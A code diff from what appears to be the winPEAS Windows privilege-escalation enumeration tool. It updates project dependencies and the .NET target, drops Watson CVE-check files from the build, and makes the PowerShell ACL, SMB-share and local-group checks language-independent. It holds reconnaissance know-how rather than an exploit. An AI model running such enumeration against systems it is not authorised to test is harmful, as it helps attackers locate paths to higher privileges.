||||
<package id="System.Diagnostics.Tools" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Diagnostics.Tracing" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Globalization" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Globalization.Calendars" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.Compression" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.Compression.ZipFile" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.FileSystem" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.IO.FileSystem.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Linq" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Linq.Expressions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Memory" version="4.5.5" targetFramework="net48" />
|
||||
<package id="System.Net.Http" version="4.3.4" targetFramework="net48" />
|
||||
<package id="System.Net.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Net.Sockets" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net48" />
|
||||
<package id="System.ObjectModel" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Reflection" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Reflection.Extensions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Reflection.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Resources.ResourceManager" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.CompilerServices.Unsafe" version="6.0.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.Extensions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.Handles" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.InteropServices" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.InteropServices.RuntimeInformation" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Runtime.Numerics" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Security.Cryptography.Algorithms" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Security.Cryptography.Encoding" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Security.Cryptography.Primitives" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Security.Cryptography.X509Certificates" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encoding" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encoding.Extensions" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
|
||||
<package id="System.Text.RegularExpressions" version="4.3.1" targetFramework="net48" />
|
||||
<package id="System.Threading" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Threading.Tasks" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Threading.Tasks.Extensions" version="4.5.4" targetFramework="net48" />
|
||||
<package id="System.Threading.Timer" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.ValueTuple" version="4.5.0" targetFramework="net48" />
|
||||
<package id="System.Xml.ReaderWriter" version="4.3.0" targetFramework="net48" />
|
||||
<package id="System.Xml.XDocument" version="4.3.0" targetFramework="net48" />
|
||||
</packages>
|
||||
226
winPEAS/winPEASexe/winPEAS/winPEAS.csproj
Executable file → Normal file
226
winPEAS/winPEASexe/winPEAS/winPEAS.csproj
Executable file → Normal file
@@ -1,5 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props')" />
|
||||
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.props" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
@@ -8,7 +10,8 @@
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>winPEAS</RootNamespace>
|
||||
<AssemblyName>winPEAS</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<CopySQLiteInteropFiles>false</CopySQLiteInteropFiles>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
@@ -114,14 +117,183 @@
|
||||
</StartupObject>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="BouncyCastle.Crypto, Version=1.9.0.0, Culture=neutral, PublicKeyToken=0e99375e54769942, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Costura, Version=5.7.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.Win32.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.AppContext, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.ComponentModel.Composition" />
|
||||
<Reference Include="System.ComponentModel.DataAnnotations" />
|
||||
<Reference Include="System.Console, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Console.4.3.0\lib\net46\System.Console.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Data.SQLite, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.SQLite.EF6, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.SQLite.Linq, Version=1.0.119.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Diagnostics.DiagnosticSource, Version=4.0.1.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Diagnostics.Tracing, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.DirectoryServices.AccountManagement" />
|
||||
<Reference Include="System.Globalization.Calendars, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.4.3.0\lib\net462\System.IO.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.Compression, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.Compression.FileSystem" />
|
||||
<Reference Include="System.IO.Compression.ZipFile, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.FileSystem, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.IO.FileSystem.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Linq, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Linq.Expressions, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Net.Http, Version=4.1.1.3, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<HintPath>..\packages\System.Net.Http.4.3.4\lib\net46\System.Net.Http.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Net.Sockets, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Numerics" />
|
||||
<Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Reflection, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime.Extensions, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime.InteropServices, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Runtime.InteropServices.RuntimeInformation, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Security.Cryptography.Algorithms, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Security.Cryptography.Encoding, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Security.Cryptography.Primitives, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Security.Cryptography.X509Certificates, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.ServiceProcess" />
|
||||
<Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Text.RegularExpressions, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<HintPath>..\packages\System.Text.RegularExpressions.4.3.1\lib\net463\System.Text.RegularExpressions.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
<Reference Include="System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Transactions" />
|
||||
<Reference Include="System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System.Web.Extensions" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
@@ -129,6 +301,11 @@
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Xml.ReaderWriter, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll</HintPath>
|
||||
<Private>True</Private>
|
||||
<Private>True</Private>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3rdParty\AlphaFS\Device\ChangeErrorMode.cs" />
|
||||
@@ -1043,6 +1220,9 @@
|
||||
<Compile Include="Info\CloudInfo\AWSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\AzureInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\EndpointData.cs" />
|
||||
<Compile Include="Info\CloudInfo\GPSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GCDSInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GWorkspaceInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\GCPInfo.cs" />
|
||||
<Compile Include="Info\CloudInfo\CloudInfoBase.cs" />
|
||||
<Compile Include="Info\EventsInfo\Logon\ExplicitLogonEventInfo.cs" />
|
||||
@@ -1199,6 +1379,7 @@
|
||||
<Compile Include="Native\Enums\UserPrivType.cs" />
|
||||
<Compile Include="Native\Enums\WTS_INFO_CLASS.cs" />
|
||||
<Compile Include="Native\Iphlpapi.cs" />
|
||||
<Compile Include="Native\crypt32.cs" />
|
||||
<Compile Include="Native\Ntdll.cs" />
|
||||
<Compile Include="Native\Kernel32.cs" />
|
||||
<Compile Include="Native\Netapi32.cs" />
|
||||
@@ -1273,23 +1454,6 @@
|
||||
<Compile Include="Helpers\ReflectionHelper.cs" />
|
||||
<Compile Include="Helpers\Registry\RegistryHelper.cs" />
|
||||
<Compile Include="Helpers\Search\SearchHelper.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-0836.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-0841.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1064.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1130.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1253.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1315.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1385.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1388.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2019-1405.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2020-0668.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2020-0683.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2020-1013.cs" />
|
||||
<Compile Include="3rdParty\Watson\Msrc\CVE-2020-0796.cs" />
|
||||
<Compile Include="3rdParty\Watson\Vulnerability.cs" />
|
||||
<Compile Include="3rdParty\Watson\VulnerabilityCollection.cs" />
|
||||
<Compile Include="3rdParty\Watson\Watson.cs" />
|
||||
<Compile Include="3rdParty\Watson\Wmi.cs" />
|
||||
<Compile Include="Wifi\Wifi.cs" />
|
||||
<Compile Include="Wifi\NativeWifiApi\Interop.cs" />
|
||||
<Compile Include="Wifi\NativeWifiApi\WlanClient.cs" />
|
||||
@@ -1328,9 +1492,9 @@
|
||||
<EmbeddedResource Include="Properties\Resources.zh-CN.resx" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.5.2">
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.8">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Microsoft .NET Framework 4.5.2 %28x86 and x64%29</ProductName>
|
||||
<ProductName>Microsoft .NET Framework 4.8 %28x86 and x64%29</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
@@ -1340,5 +1504,25 @@
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="costura32\SQLite.Interop.dll" />
|
||||
<EmbeddedResource Include="costura64\SQLite.Interop.dll" />
|
||||
<Content Include="FodyWeavers.xml" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.props'))" />
|
||||
<Error Condition="!Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\EntityFramework.6.4.4\build\EntityFramework.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Fody.6.5.5\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.5.5\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.5.7.0\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\EntityFramework.6.4.4\build\EntityFramework.targets" Condition="Exists('..\packages\EntityFramework.6.4.4\build\EntityFramework.targets')" />
|
||||
<Import Project="..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets" Condition="Exists('..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\build\net451\Stub.System.Data.SQLite.Core.NetFramework.targets')" />
|
||||
<Import Project="..\packages\Fody.6.5.5\build\Fody.targets" Condition="Exists('..\packages\Fody.6.5.5\build\Fody.targets')" />
|
||||
<Import Project="..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets" Condition="Exists('..\packages\Costura.Fody.5.7.0\build\Costura.Fody.targets')" />
|
||||
</Project>
|
||||
@@ -5,7 +5,7 @@
|
||||
</StartArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||
<StartArguments>cloudinfo -network="auto" -ports="21,22,445"</StartArguments>
|
||||
<StartArguments>cloudinfo</StartArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
|
||||
<StartArguments>debug</StartArguments>
|
||||
|
||||
@@ -67,7 +67,8 @@ Function Start-ACLCheck {
|
||||
$Identity = @()
|
||||
$Identity += "$env:COMPUTERNAME\$env:USERNAME"
|
||||
if ($ACLObject.Owner -like $Identity ) { Write-Host "$Identity has ownership of $Target" -ForegroundColor Red }
|
||||
whoami.exe /groups /fo csv | ConvertFrom-Csv | Select-Object -ExpandProperty 'group name' | ForEach-Object { $Identity += $_ }
|
||||
# This should now work for any language. Command runs whoami group, removes the first two line of output, converts from csv to object, but adds "group name" to the first column.
|
||||
whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object { $Identity += $_ }
|
||||
$IdentityFound = $false
|
||||
foreach ($i in $Identity) {
|
||||
$permission = $ACLObject.Access | Where-Object { $_.IdentityReference -like $i }
|
||||
@@ -1225,7 +1226,8 @@ Write-Host "Will enumerate SMB Shares and Access if any are available"
|
||||
|
||||
Get-SmbShare | Get-SmbShareAccess | ForEach-Object {
|
||||
$SMBShareObject = $_
|
||||
whoami.exe /groups /fo csv | ConvertFrom-Csv | Select-Object -ExpandProperty 'group name' | ForEach-Object {
|
||||
# see line 70 for explanation of what this does
|
||||
whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object {
|
||||
if ($SMBShareObject.AccountName -like $_ -and ($SMBShareObject.AccessRight -like "Full" -or "Change") -and $SMBShareObject.AccessControlType -like "Allow" ) {
|
||||
Write-Host -ForegroundColor red "$($SMBShareObject.AccountName) has $($SMBShareObject.AccessRight) to $($SMBShareObject.Name)"
|
||||
}
|
||||
@@ -1237,16 +1239,14 @@ Get-SmbShare | Get-SmbShareAccess | ForEach-Object {
|
||||
Write-Host ""
|
||||
if ($TimeStamp) { TimeElapsed }
|
||||
Write-Host -ForegroundColor Blue "=========|| USER INFO"
|
||||
Write-Host "== || Generating List of all Administrators, Users and Backup Operators (if any exist)"
|
||||
Write-Host "== || Generating List of all Local Administrators, Users and Backup Operators (if any exist)"
|
||||
|
||||
@("ADMINISTRATORS", "USERS") | ForEach-Object {
|
||||
Write-Host $_
|
||||
Write-Host "-------"
|
||||
Start-Process net -ArgumentList "localgroup $_" -Wait -NoNewWindow
|
||||
}
|
||||
Write-Host "BACKUP OPERATORS"
|
||||
Write-Host "-------"
|
||||
Start-Process net -ArgumentList 'localgroup "Backup Operators"' -Wait -NoNewWindow
|
||||
# Code has been modified to accomodate for any language by filtering only on the output and not looking for a string of text
|
||||
# Foreach loop to get all local groups, then examine each group's members.
|
||||
Get-LocalGroup | ForEach-Object {
|
||||
"`n Group: $($_.Name) `n" ; if(Get-LocalGroupMember -name $_.Name){
|
||||
(Get-LocalGroupMember -name $_.Name).Name}
|
||||
else{" {GROUP EMPTY}"}}
|
||||
|
||||
|
||||
